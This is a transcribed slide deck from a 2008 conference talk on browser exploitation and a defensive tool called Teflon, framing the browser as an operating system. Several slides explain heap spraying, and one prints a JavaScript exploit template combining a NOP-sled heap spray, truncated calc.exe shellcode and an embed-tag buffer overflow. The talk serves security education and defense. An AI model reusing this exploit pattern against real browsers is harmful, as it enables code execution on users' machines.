Teflon - Anti Stick for the browser attack surface
•
2 recomendaciones•2,193 vistas
My presentation on browser exploitation and defense, at BA-Con 08, Buenos Aires.
![[object Object],[object Object],[object Object],[object Object],[object Object],# who am i # who am i 16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33 USER TTY FROM LOGIN@ IDLE WHAT saumil console - 11:43 0:05 bash](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
Recomendados
Más contenido relacionado
La actualidad más candente
La actualidad más candente (20)
Destacado
Destacado (20)
Similar a Teflon - Anti Stick for the browser attack surface
Similar a Teflon - Anti Stick for the browser attack surface (20)
Más de Saumil Shah
Más de Saumil Shah (20)
Teflon - Anti Stick for the browser attack surface
- 1. Saumil Shah ceo, net-square Teflon: Anti-stick for the browser's attack surface BA-Con 2008 – Buenos Aires
- 5. Browser Architecture DOM HTML+CSS Javascript
- 6. Browser Architecture DOM HTML+CSS Javascript user loaded content <img> <iframe> <script> <object> <div> <style> <embed> <span> <table> <form> <input> ... etc.
- 7. Browser Architecture DOM HTML+CSS Javascript user loaded content <img> <iframe> <script> <object> <div> <style> <embed> <span> <table> <form> <input> ... etc. Ajax libs Ajax/rich apps
- 8. The Browser is Desktop 2.0 "Same Same But Different"
- 9. The Browser – Kernel analogy DOM HTML+CSS Javascript user loaded content Ajax libs Ajax/rich apps Kernel System Call libs Userland programs LibC C Runtime Browser OS =
- 10. The Browser – Kernel analogy HTML+CSS Javascript user loaded content Ajax libs Ajax/rich apps System Call libs Userland programs LibC C Runtime Browser Core Kernel DOM Kernel =
- 11. The Browser – Kernel analogy DOM HTML+CSS Javascript user loaded content Ajax libs Ajax/rich apps Kernel System Call libs Userland programs LibC C Runtime Plugin / Extensions Drivers =
- 12. The Browser – Kernel analogy DOM HTML+CSS Javascript Ajax libs Ajax/rich apps Kernel System Call libs LibC C Runtime HTML / DHTML / JS Userland code <H1>hello world</H1> <script>alert('hi');</script> printf("Hello World"); =
- 13. The Browser – Kernel analogy DOM Ajax libs Ajax/rich apps Kernel LibC C Runtime <object>, <embed> syscalls <object clsid="XX-YYY-ZZ"> <embed src="file.mp4"> System Call libs exec("program.bin"); open("file.mp4"); =
- 14. The Browser – Kernel analogy DOM Ajax libs Ajax/rich apps Kernel LibC C Runtime XHR Sockets xhr = new XMLHttpRequest() System Call libs s = socket(); =
- 15. Browser "syscalls" HTML Loaded DOM Javascript HTML
- 16. Browser "syscalls" HTML document.write("<object CLSID=XXX-XXXX-XXX>"); DOM Javascript
- 17. Browser "syscalls" document.write("<object CLSID=XXX-XXXX-XXX>"); Javascript HTML DOM
- 20. Heap Spraying NOP sled shellcode NOP sled shellcode NOP sled shellcode <script> : spray = build_large_nopsled(); a = new Array(); for(i = 0; i < 100; i++) a[i] = spray + shellcode; : </script> <html> : exploit trigger condition goes here : </html> a[7] a[8] a[9]
- 21. How it all works stack heap code and stuff 0xFFFFFFFF 0x00000000 ret EIP ret EIP frames on the stack var1 var3 var2 var4 overflow in var 3
- 22. The Heap...sprayed stack code and stuff 0xFFFFFFFF 0x00000000 ret EIP ret EIP var1 var3 var2 var4 overflow in var 3 <script> : for(i = 0; i < 50; i++) a[i] = nops + shellcode; : </script> part of the heap gets "sprayed"
- 23. Return to Heap stack code and stuff 0xFFFFFFFF 0x00000000 ret EIP ret EIP var1 var3 var2 var4 overwrite saved EIP AAAAAAAAAAAAAAAAAAAAAAAAAA heapaddr <object clsid=XXXXXXXX> exploit trigger in HTML code
- 24. Return to Heap stack code and stuff 0xFFFFFFFF 0x00000000 ret EIP ret EIP var1 var3 var2 var4 AAAAAAAAAAAAAAAAAAAAAAAAAA heapaddr Hit one of the many sprayed blocks.
- 35. Plain vanilla exploit <script> // calc.exe var shellcode = unescape("%ue8fc%u0044%u0000%u458b....... ......%u6c61%u2e63%u7865%u2065%u0000"); // heap spray var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); do { spray += spray; } while(spray.length < 0xc0000); memory = new Array(); for(i = 0; i < 50; i++) memory[i] = spray + shellcode; // we need approx 2200 A's to blow the buffer buf = ""; for(i = 0; i < 550; i++) buf += unescape("%05%05%05%05"); buf += ".wmv"; document.write('<embed src="' + buf + '"></embed>'); </script>
- 36. /packer/
- 40. Without Teflon – 0wned
- 41. Without Teflon – 0wned
- 42. With Teflon – harmless div
- 43. With Teflon – harmless div
- 48. [email_address] Thank you BA-Con 2008 – Buenos Aires